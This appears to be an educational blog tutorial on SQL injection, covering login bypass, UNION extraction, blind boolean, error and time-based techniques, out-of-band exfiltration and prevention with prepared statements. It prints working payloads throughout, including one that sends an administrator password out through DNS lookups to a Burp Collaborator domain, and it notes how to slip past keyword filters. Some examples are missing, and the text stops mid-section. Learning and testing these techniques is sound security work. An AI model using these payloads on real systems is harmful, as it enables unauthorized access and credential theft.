In this post, I will cover all of the SQL Injection labs located at PortSwigger Academy as well as providing some context regarding SQL itself and some additional information.

SQL Introduction

SQL (Structured Query Language) is a standard language for accessing and manipulating databases. Its basic use is for retrieving, creating, updating and deleting data in databases.

For example, in your database, you have a table called users - which stores information about user credentials. The first column contains a username and the second column contains a password.

Say you wanted to get all the usernames and passwords that exist in that table. The syntax would be :

SELECT username, password FROM users;
SELECT * from users;

The first one selects two columns from the user table (username and password), while the second one simply selects everything from the users table.

Login Example

Now, let's say a user wishes to authenticate with the following credentials - admin:password123. Here is a SQL statement that checks if a user exists in the users table with those credentials:

SELECT * FROM users WHERE username='admin' and password='password123';

If there is a row in the returned results, then your application will know the credentials are valid and get authenticated.

Injection - Basic Example

Taking the previous example about logging in:

SELECT * FROM users WHERE username='admin' and password='password123';

Think about how it would be implemented in an application. In pseudocode, a vulnerable implementation would look something like this:

In a non-malicious example, the user's inputted username is "admin" and the password is "password123". The value of "sql_query" will then be:

SELECT * FROM users WHERE username='admin' and password='password123';

If the username and password are correct, then the SQL query will return a result and the user will be logged in as "admin". However, what if the user decided to enter admin'— as the username? The "—" signifies the start of a comment and everything after the double dash (- -) is NOT executed. The query would then become:

SELECT * FROM users WHERE username='admin'-- ' and password='password123';

Since everything starting from — is just a comment, you disregard the comment to figure out the REAL query:

SELECT * FROM users WHERE username='admin'

As a result of this, the attacker comments out the part where the password is checked. Therefore, the attacker is able to log in as the "admin" user without knowing any password.

Another common approach is to use a logical statement that always evaluates to true. For example, if you do NOT know the username or if you want to log in as the first user that is returned by the database - which is likely to be an admin/important account - then you can construct a SQL query that would result in the following database query:

SELECT * FROM users WHERE username='' OR 1=1

Because of the "OR 1=1", the result of the statement is ALWAYS true and you will likely be able to log into the first user that is found in the database.

Repercussions

SQL injection can be used to make the database execute attacker controlled queries. In the simple example, this led to an attacker being able to log in as any user without knowing any credentials. In a more general sense, SQL injection affects data confidentiality and data integrity. SQL injection vulnerabilities can commonly result in the contents of a database being leaked and loss of data integrity can be used to subvert authentication measures.

Uncommonly, SQL injections can lead to shell execution on the database server. This could happen when an old vulnerable version of database software is used, or when a web app's database user has been granted the highest database privileges.

Prevention

The fundamental problem with SQLi is that data entered by users and SQL code are allowed to blend together, without anything to separate them. This makes it possible for the user to write not only data but also code that will be executed on the database.

The recommended way to avoid SQL injections is therefore to separate all user inputs from the SQL code - achieved via prepared statements.

A pseudocode example is as follows:

In the string passed to the "prepare()" function, the ? symbols indicate to the database that the variables are initially unbound and will be supplied separately. After the query itself has been created, the data inputs (username and password) are bound to it. Finally, the prepared statement is executed.

Now, if the attacker supplies admin'— as the input, it is treated as just plain data and the DBMS will attempt to find a user called that.

Input escaping and whitelisting are also options you can use.

Now that we have a basic understanding of SQL, SQL injections (SQLi) and how to prevent it, we can move into the labs.

SQL Injection Introduction

Now that you have a short introduction to SQL and SQL injection, it’s time to take a more detailed dive into SQL Injection itself.

As described above, SQL injection is a vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve which might include data about other users, or any other data that the app itself is able to access.

In many SQLi cases, an attacker can modify or delete this data, causing persistent changes to the app’s content or behaviour. In some situations, an attacker can escalate a SQLi attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack.

Impact of Successful SQLi

A successful attack can result in unauthorized access to sensitive data, such as passwords, credit card details, or personal user information. Many high-profile data breaches in recent years have been the result of SQLi attacks, leading to reputational damage and regulatory fines.

In some cases, an attacker can obtain a persistent backdoor into an organization’s systems, leading to a long-term compromise that can go unnoticed for an extended period.

SQL Injection Examples

There are a wide variety of SQLi vulnerabilities, attacks, and techniques, which arise in different situations. Some common SQLi examples include:

Retrieving hidden data where you can modify a SQL query to return additional results
Subverting app logic where you can change a query to interfere with the app’s logic
UNION attacks where you can retrieve data from different database tables
Examining the database where you can extract information about the version and structure of the database
Blind SQL injection where the results of a query you control are not returned in the app’s responses

Retrieving Hidden Data

Consider a shopping app that displays products in different categories. When the user clicks on the Gifts category, their browser requests the URL:

https://insecure-website.com/products?category=Gifts

This causes the app to make a SQL query to retrieve details of the relevant products from the database:

SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1

This SQL query asks the database to return:

all details (*)
from the products table
where the category is Gifts
and released is equal to 1

The restriction “released = 1” is being used to hide products that are not released. For unreleased products, the number is presumably 1. The application does not implement any defenses against SQL injection attacks, so an attacker can construct an attack like:

https://insecure-website.com/products?category=Gifts’--

This payload results in the query of:

SELECT * FROM products WHERE categorty = ‘Gifts’--’ AND released = 1

The key thing is that the double-dash sequence is a comment indicator in SQL, and means that the rest of the query is interpreted as a comment. This effectively removes the remainder of the query, so it no longer includes “AND released = 1”. This means that all products are displayed, including unreleased ones.

Going further, an attacker can cause the app to display all the products in any category, including categories they do not know about using the following payload:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

The modified query will return all items where either the category is Gifts, or 1 is equal to 1. Since 1=1 is always true (at least until maths itself is reinvented), the query will return all items. As of recently, there is a little war going on across Twitter about whether we should actually use OR 1=1 payloads as they can be incredibly dangerous. If you want more context, the initial tweet that started all this is located here.

In short, although 1=OR 1=1 may be harmless in the initial context you are injecting into, it is common for apps to use data from a single request in multiple different queries. If your condition reaches an UPDATE or DELETE statement, for example, this can result in an accidental loss of data. And you don’t want to have to explain that to a client - bad times for everyone.

Subverting Application Logic

Consider an app that lets users log in with a username and password. If a user submits the username “wiener” and the password “random”, the app checks the credentials by performing the following SQL query:

SELECT * FROM users WHERE username = ‘wiener’ AND password = ‘random’

If the query returns the details of a user, then the login is successful. Otherwise, it is rejected. Here, an attacker can log in as any user without a password simply by using the SQL comment sequence -- to remove the password check from the WHERE clause of the query. For example, submitting the username “administrator’--” and a blank password results in the following query:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

This query returns the user whose username is administrator and successfully logs the attacker in as that user.

Retrieving Data from Other Database Tables

In cases where the results of a SQL query are returned within the app’s responses, an attacker can leverage a SQL injection vulnerability to retrieve data from other tables within the database. This is done using the UNION keyword, which lets you execute an additional SELECT query and append the results to the original query.

For example, if an app executes the following query containing the user input “Gifts”:

SELECT name, description FROM products WHERE category = ‘Gifts’

Then the attacker can submit the input:

‘ UNION SELECT username, password FROM users--

This will cause the application to return all usernames and passwords along with the names and descriptions of products.

More About UNION Attacks

To delve deeper into UNION attacks, as discussed above, when an app is vulnerable to SQLi and the results are returned within the app’s responses, the UNION keyword can be used to retrieve data from other tables within the database. The UNION keyword lets you execute one or more additional SELECT queries and appends the results to the original query.

For example, take the following:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This SQL query returns a single result set with two columns, containing values from columns A and B in table 1 and columns C and D in table 2.

For a UNION query to work, two key requirements must be met:

The individual queries must return the same number of columns
The data types in each column must be compatible between the individual queries

To carry out a SQLi UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:

How many columns are being returned from the original query?
Which columns returned from the original query are of a suitable data type to hold the results from the injected query?

Determine Number of Columns

When performing a SQLi UNION attack, there are two effective methods to determine how many columns are being returned from the original query.

The first method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs. For example, assuming the injection point is a quoted string within the WHERE clause of the original query, you would submit:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you do not need to know the names of any columns.

When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as “The ORDER BY position number 3 is out of range of the number of items in the select list.”

The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query.

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

‘ UNION SELECT NULL--
‘ UNION SELECT NULL,NULL--
‘ UNION SELECT NULL,NULL,NULL--

If the number of NULLs does not match the number of columns, the database returns an error, such as “All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.”

Again, the application might actually return this error message, or might just return a generic error or no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the resulting HTTP response depends on the application's code.

If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException. Worst case, the response might be indistinguishable from that which is caused by an incorrect number of nulls, making this method of determining the column count ineffective.

Why do we use NULL you might be asking? The reason for is that the data types in each column must be compatible between the original and injected queries. Since NULL is convertible to every commonly used data type, using NULL maximizes the chances that the payload succeeds.

If you find an Oracle database, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called DUAL which can be used for this purpose. So the injected queries on Oracle would need to look like:

' UNION SELECT NULL FROM DUAL--

The payloads described use the “--” to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment.

A great cheat sheet can be found here.

Finding columns with a useful data type

The reason for performing a SQLi UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.

Having determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

If the data type of a column is not compatible with string data, the injected query will cause a database error, such as “Conversion failed when converting the varchar value 'a' to data type int.” If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.

Retrieving Interesting Data using SQLi UNION Attack

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data. Suppose that:

The original query returns two columns, both of which can hold strings
The injection point is a quoted string within the WHERE clause
The database contains a table called users with the columns username and password

In this situation, you can retrieve the contents of the users table by submitting the input:

' UNION SELECT username, password FROM users--

The crucial information needed to perform this attack is that there is a table called users with two columns called username and password. Without this information, you would be left trying to guess the names of tables and columns. In fact, all modern databases provide ways of examining the database structure to determine what tables and columns it contains.

First off, different database provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software. The queries to determine the database version for some of the most popular database types are:

Microsoft/MySQL - SELECT @@version
Oracle - SELECT * FROM v$version
PostgreSQL - SELECT version()

For example, you could use a UNION attack with the following input:

‘ UNION SELECT @@version--

Next, most database types (except Oracle) have a set of views called the information schema which provide information about the database. You can query information_schema.tables to list the tables in the database:

SELECT * FROM information_schema.tables

This might produce the output such as:

This indicates that there are 3 tables called Products, Users and Feedback. You can then query information_schema.columns to list the columns in individual tables:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

This may return something like:

The output shows the columns in the specified table and the data type of each column.

On Oracle, you can obtain the same information with slightly different queries. You can list tables by querying all_tables:

SELECT * FROM all_tables

And you can list columns by querying all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Retrieving Multiple Values within a Single Column

In the preceding example, suppose instead that the query only returns a single column.

You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

The results from the query will let you read all of the usernames and passwords.

Examining the Database

Following initial identification of a SQL injection vulnerability, it is generally useful to obtain some information about the database itself. This information can often pave the way for further exploitation.

You can query the version details for the database. The way that this is done depends on the database type, so you can infer the database type from whichever technique works. For example, on Oracle you can execute:

SELECT * FROM v$version

You can also determine what database tables exist, and which columns they contain. For example, on most databases you can execute the following query to list the tables:

SELECT * FROM information_schema.tables

Blind SQL Injection Vulnerabilities

Many instances of SQL injection are blind vulnerabilities. This means that the app does not return the results of the SQL query or the details of any database errors within its responses. Blind vulnerabilities can still be exploited to access unauthorized data, but the techniques involved are generally more complicated and difficult to perform.

Depending on the nature of the vulnerability and the database involved, the following techniques can be used to exploit blind SQL injection vulnerabilities:

You can change the logic of the query to trigger a detectable difference in the application's response depending on the truth of a single condition. This might involve injecting a new condition into some Boolean logic, or conditionally triggering an error such as a divide-by-zero.
You can conditionally trigger a time delay in the processing of the query, allowing you to infer the truth of the condition based on the time that the application takes to respond.
You can trigger an out-of-band network interaction, using OAST techniques. This technique is extremely powerful and works in situations where the other techniques do not. Often, you can directly exfiltrate data via the out-of-band channel, for example by placing the data into a DNS lookup for a domain that you control.

More About Blind SQLi Attacks

As stated above, Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

With blind SQL injection vulnerabilities, many techniques such as UNION attacks, are not effective because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

Triggering Conditional Responses

Consider an app that uses tracking cookies to gather analytics about usage. Requests to the app include a cookie header like this:

Cookie: TrackingId=juhUYUSheyurw22TYh5

When a request containing a TrackingId cookie is processed, the app determines whether this is a known user using a SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQLi, but the results from the query are not returned to the user. However, the app does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a “Welcome back” message is displayed in the page.

This behaviour is enough to be able to exploit blind SQLi and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

…xyz' AND '1'='1
…xyz' AND '1'='2

The first of these values will cause the query to return results, because the injected AND '1'='1 condition is true, and so the "Welcome back" message will be displayed. Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the "Welcome back" message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time. To do this, we can start with:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than m. Next, we send the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

This does not return the "Welcome back" message, indicating that the injected condition is false, and so the first character of the password is not greater than t. Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

You would then continue this process to systematically determine the full password. As a side note, the SUBSTRING function is called SUBSTR on some types of databases, so just be aware.

Inducing Conditional Responses by Triggering SQL Errors

In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application's responses.

In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false.

Very often, an unhandled error thrown by the database will cause some difference in the application's response (such as an error message), allowing us to infer the truth of the injected condition.

To see how this works, suppose that two requests are sent containing the following **TrackingId** cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error.

With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application's HTTP response, we can use this difference to infer whether the injected condition is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Triggering Time Delays

In the preceding example, suppose that the application now catches database errors and handles them gracefully. Triggering a database error when the injected SQL query is executed no longer causes any difference in the application's response, so the preceding technique of inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application, delaying the execution of a SQL query will also delay the HTTP response. This allows us to infer the truth of the injected condition based on the time taken before the HTTP response is received.

The techniques for triggering a time delay are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to test a condition and trigger a delay depending on whether the expression is true:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

The first of these inputs will not trigger a delay, because the condition 1=2 is false. The second input will trigger a delay of 10 seconds, because the condition 1=1 is true. Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Out-of-band (OAST) Techniques

Now, suppose that the application carries out the same SQL query, but does it asynchronously. The application continues processing the user's request in the original thread, and uses another thread to execute a SQL query using the tracking cookie.

The query is still vulnerable to SQL injection, however none of the techniques described so far will work: the application's response doesn't depend on whether the query returns any data, or on whether a database error occurs, or on the time taken to execute the query.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. As previously, these can be triggered conditionally, depending on an injected condition, to infer information one bit at a time. But more powerfully, data can be exfiltrated directly within the network interaction itself.

A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). This is because very many production networks allow free egress of DNS queries, because they are essential for the normal operation of production systems.

The easiest and most reliable way to use out-of-band techniques is using Burp Collaborator. This is a server that provides custom implementations of various network services (including DNS), and allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application.

The techniques for triggering a DNS query are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to cause a DNS lookup on a specified domain:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

This will cause the database to perform a lookup for the following domain:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

You can use Burp Collaborator to generate a unique subdomain and poll the Collaborator server to confirm when any DNS lookups occur.

Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable app. For example:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

This input reads the password for the Administrator user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This will result in a DNS lookup like the following, allowing you to view the captured password:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Out-of-band (OAST) techniques are an extremely powerful way to detect and exploit blind SQL injection, due to the highly likelihood of success and the ability to directly exfiltrate data within the out-of-band channel. For this reason, OAST techniques are often preferable even in situations where other techniques for blind exploitation do work.

Out-of-band (OAST) Techniques

Although the techniques needed to find and exploit blind SQL injection vulnerabilities are different and more sophisticated than for regular SQL injection, the measures needed to prevent SQL injection are the same regardless of whether the vulnerability is blind or not.

As with regular SQL injection, blind SQL injection attacks can be prevented through the careful use of parameterized queries, which ensure that user input cannot interfere with the structure of the intended SQL query.

How to Detect SQLi Vulnerabilities

The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner. SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:

Submitting the single quote character ‘ and looking for errors or other anomalies
Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting app responses.
Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for the differences in the apps response
Submitting payloads designed to trigger time delays when executed within a SQL query and looking for differences in the time taken to respond
Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitoring for any resulting interactions

SQL injection in different parts of the query

Most SQL injection vulnerabilities arise within the WHERE clause of a SELECT query. This type of SQL injection is generally well-understood by experienced testers. But SQL injection vulnerabilities can in principle occur at any location within the query, and within different query types.

The most common other locations where SQL injection arises are:

In UPDATE statements within the updated values or the WHERE clause
In INSERT statements within the insert values
In SELECT statements within the table or column name
In SELECT statements within the ORDER BY clause

SQL injection in different contexts

It's important to note that you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database.

These different formats may even provide alternative ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often just look for common SQL injection keywords within the request, so you may be able to bypass these filters by simply encoding or escaping characters in the prohibited keywords.

For example, the following XML-based SQL injection uses an XML escape sequence to encode the S character in SELECT:

This will be decoded server-side before being passed to the SQL interpreter.

Second-order SQL injection

First-order SQL injection arises where the application takes user input from an HTTP request and, in the course of processing that request, incorporates the input into a SQL query in an unsafe way.

In second-order SQL injection (also known as stored SQL injection), the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way.

Second-order SQL injection often arises in situations where developers are aware of SQL injection vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data is handled in an unsafe way, because the developer wrongly deems it to be trusted.

Database Specific Factors

Some core features of the SQL language are implemented in the same way across popular database platforms, and so many ways of detecting and exploiting SQL injection vulnerabilities work identically on different types of database.

However, there are also many differences between common databases. These mean that some techniques for detecting and exploiting SQL injection work differently on different platforms. For example:

Syntax for string concatenation
Comments
Batched (or stacked queries)
Platform-specific APIs
Error messages

How to Prevent SQL Injection

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

Parameterized queries can be used for any situation where untrusted input appears as data within the query, including the WHERE clause and values in an INSERT or UPDATE statement. They can't be used to handle untrusted input in other parts of the query, such as table or column names, or the ORDER BY clause.

Application functionality that places untrusted data into those parts of the query will need to take a different approach, such as white-listing permitted input values, or using different logic to deliver the required behavior.

For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must always be a hard-coded constant, and must never contain any variable data from any origin.

Do not be tempted to decide case-by-case whether an item of data is trusted, and continue using string concatenation within the query for cases that are considered safe. It is all too easy to make mistakes about the possible origin of data, or for changes in other code to violate assumptions about what data is tainted.

Deep Dive into SQL Injection

You should now have your feet wet with SQLi and should be excited about SQL! It’s fantastic right? There’s even more information we can discuss to really get an understanding of how this vulnerability works. Let’s dive even deeper into the world of SQLi.

What is SQL Injection? As described above, SQL injection is a vulnerability that consists of an attacker interfering with the SQL queries that an app makes to a backend database. If an attacker can manage to interact and change the SQL query by adding SQL characters/code in an input vector, then the app is vulnerable to SQL injection.

For example, we have an attacker, a web server and a database:

The application the web server hosts has an authentication functionality where the user has to put in their username and password. Once they are put in, a query is made to the database to see if this username and password are in the database.

If they are, the user is presented with their profile page. If the username/password is incorrect, then the user is presented with an error message stating they have entered incorrect credentials.

In this case, we would have two input vectors - the username field and the password field that talk to the backend database. They get included in a SQL query in the backend database. Therefore, we definitely need to test these input vectors for a SQL injection vulnerability to see if the input is validated in any way.

In this case, an attacker could target the username field. Instead of simply adding a username, the attack adds the username they want to compromise (admin), but also adds some SQL characters after the username:

What happens is that the username gets included in a query. The query does the following:

It selects everything (*) from the users table where the username is equal to whatever the username is submitted and the password is equal to whatever password. If the input is properly validated, then the database will literally look for a user with the name admin'-- and will not return anything.

However, if the application is vulnerable to SQL injection (no parameterized queries, no user input validation), then what happens is that any SQL characters/code that the attacker adds as part of the payload will become part of the query.

In this case what happens is that the single quote the attacker submitted after admin closes the string for the username and then the double dash comments out the rest of the SQL query. What happens is the query becomes the following:

Since admin is an existing username, the database will return the admin user profile and the attacker gets logged in as the admin user.

Essentially, the attacker exploited a SQL injection vulnerability in the login functionality in order to bypass authentication - in this example, the attacker did not need to know the admin user's password since they were able to change a query to no longer ask for a password.

Impact of SQL Injection Attacks

The impact of a SQL injection attack really depends on the context of the SQL injection you are exploiting. Some SQL injection vulnerabilities will only allow you to view data, where others will allow you to modify data.

In terms of Confidentiality, some SQL injection vulnerabilities will allow you to view sensitive information such as usernames and passwords and that impacts the confidentiality.

In terms of Integrity, some SQL injection vulnerabilities will allow you to alter data in a database. For example, take an application that allows you to update an email address. If it was vulnerable to SQL injection, you might be able to update another user's email address to one we controlled. From there, since we controlled the email, we could reset the password and hijack their account.

In terms of Availability, some SQL injection vulnerabilities can be used to delete data in a database. Taking the example above, it also affected the availability since we could deny access to a user's account by changing their password.

Additionally, some scenarios could actually allow and lead to remote code execution which would also affect all 3 areas of the CIA triad at once. With RCE from SQL injection, you would gain access to the underlying OS with the same privileges the database is running as - be very careful and make sure that the database runs with the least privilege possible!

How Common and Critical Are They?

One way to measure is the OWASP Top 10 list:

This changes across the years. For SQL injection vulnerabilities, they fall under the most critical; vulnerability category - Injection. However, it's worth mentioning that this covers all Injection vulnerabilities and not just SQL injection.

The likelihood of SQL injection vulnerabilities existing in apps has decreased over the years. Nevertheless, it is still a critical risk as if you have one parameter vulnerable to it, it could potentially lead to RCE over the system.

Types of SQL Injection

SQL injection vulnerabilities can be classified into 3 major categories:

In Band (Classic)
Inferential (Blind)
Out-of-Band

In-band vulnerabilities are ones where the attacker uses the same communication channel to launch the attack and gather the results of the attack. They are divided further into 2 types:

Error-based
UNION-based

Error based SQL injection is a technique where you force the database to generate an error giving you more information about how things operate in the back end. An example would be if you have a parameter that is vulnerable to SQL injection and then you inject a single quote into that parameter.

That single quote might break the backend query which generates an error at the application level. What happens is that the error tells us things like the version of the database, the type of database being used and sometimes it will also tell you the exact SQL query being used at the backend.

UNION based injection is a technique that leverages the UNION operator to combine the results of -two queries into a single result set. In this technique, you don't just output the result of the original query the application makes, but also the result of a query of your choosing.

For example, you would be interested in the usernames and passwords of the users of the application. You could use the UNION operator to output the credentials of the users of the application.

The next category - Inferential - is an interesting one. In these vulnerabilities, there is no actual transfer of data via the web application. You do not see the results in the application itself.

Instead, you are stuck asking the application TRUE or FALSE questions which is what Boolean based SQL injection is or causing the database to pause for a specified period of time which is Time based SQL injection in order to determine if what you are asking the application is correct or not.

The way you exploit Blind SQL injections is more difficult than classic. However, the impact (even if you don't see the results right away) of exploiting the vulnerability is still as bad as classic based attacks.

Finally, Out-of-Band injections occur when the attacker is unable to use the same channel to launch the attack and gather the results. It usually relies on the ability of an application to make a network connection (i.e. DNS or HTTP request) to deliver data to an attacker.

In-Band (Classic) Injections

As stated above, we discussed that In-band SQLi occurs when the attacker uses the same communication channel to both launch the attack and gather the result of the attack.

In plain English, if you exploit a SQLi vulnerability by sending a payload in one of the fields of an application and then you see the results of your payload presented directly to you in the application, then it falls under In-band.

By the nature of how this type works, it is much easier to exploit than other categories of SQLi. This is because you actually see the result of your attack in the response of the application versus having to infer the result in Blind SQLi.

There are two common types of In-Band SQLi as stated:

Error-based SQLi
Union-based SQLi

Error-Based SQL Injection

Error-based is a technique that forces the database to generate an error, giving the attacker information upon which to refine their injection.

For example, imagine you have an example site that has an ID parameter vulnerable to SQLi. In this case, we can input a single quote into the id field:

www.random.com/app.php?id='

This single quote will then become part of the query and break the backend query, therefore outputting an error message such as:

You have an error in your SQL syntax, check the manual that corresponds to your MySQL server version

In this case, it tells us it is running MySQL. It might also tell you the version. In certain scenarios, the error might also provide the query that happens when we provide that single quote. This way, if we have the exact query, it's much easier to develop a payload.

Union-Based SQL Injection

Union-based is a type of technique that leverages the UNION SQL operator to combine the results of two queries into a single result set. We don't want just the output of the original query, but also have the result of a query of our choosing.

For example, we have an application that has an ID field vulnerable to Union-based SQLi. If we put in a valid ID, the page displays all the products. Instead of just displaying the products matching that ID, we want to output the results of another query:

www.random.com/app.php?id=' UNION SELECT username,password FROM users--

This would output all the usernames and passwords from the users table and comment out the rest of the query. In this case, it will output the results of the ID query (since there's no ID it would be empty) and then combine it with the results of our username and password query:

It's important to note that the UNION operator has certain conditions it needs to work.

Inferential (Blind) Injections

Inferential is a vulnerability where there is no actual transfer of data via the web application. Unlike in-band SQLi where we directly saw the output, in the case of blind SQLi, the database does not output the data to the web page.

This forces the attacker to steal data by asking the database a series of TRUE or FALSE questions and then determining based on how the application responds, whether the application responded with YES (true statement) or NO (false statement).

Just because an attacker cannot directly display data from the database does not mean it is a harmless vulnerability. It is just as dangerous as in-band since you can extract information from the database by asking TRUE/FALSE questions.

This vulnerability just takes a little bit longer and more skillset to exploit successfully.

As discussed above, there are two types:

Boolean-based SQLi
Time-based SQLi

Boolean-Based SQL Injection

Boolean-based is a technique that uses Boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result. In simple terms the attacker sends SQL payloads that asks the database TRUE/FALSE questions and depending on how the database responds, the attacker can infer whether the application responded TRUE or FALSE.

For example, we have an app that contains a vulnerable ID parameter:

```
www.random.com/app.php?id=1
```

Imagine in this case that we cannot use the UNION operator. Here, we can try and first inject it with a false payload - i.e. inject a payload we know is false - and then see how the application responds and then force a payload we know is true and see how it responds again.

If the application responds differently in the false payload versus the true payload, then this is vulnerable to Boolean based SQLi.

Let's take the backend query. When you enter an ID number, the query that gets run is the following:

SELECT title FROM product WHERE id = 1

Since an ID of 1 is a valid result in the table the application would display the title of the products associated with that ID. If we want to force a false payload, we can use a conditional statement such as the following:

www.random.com/app.php?id=1 and 1=2

From this, the backend query would be:

SELECT title FROM product WHERE id = 1 and 1=2

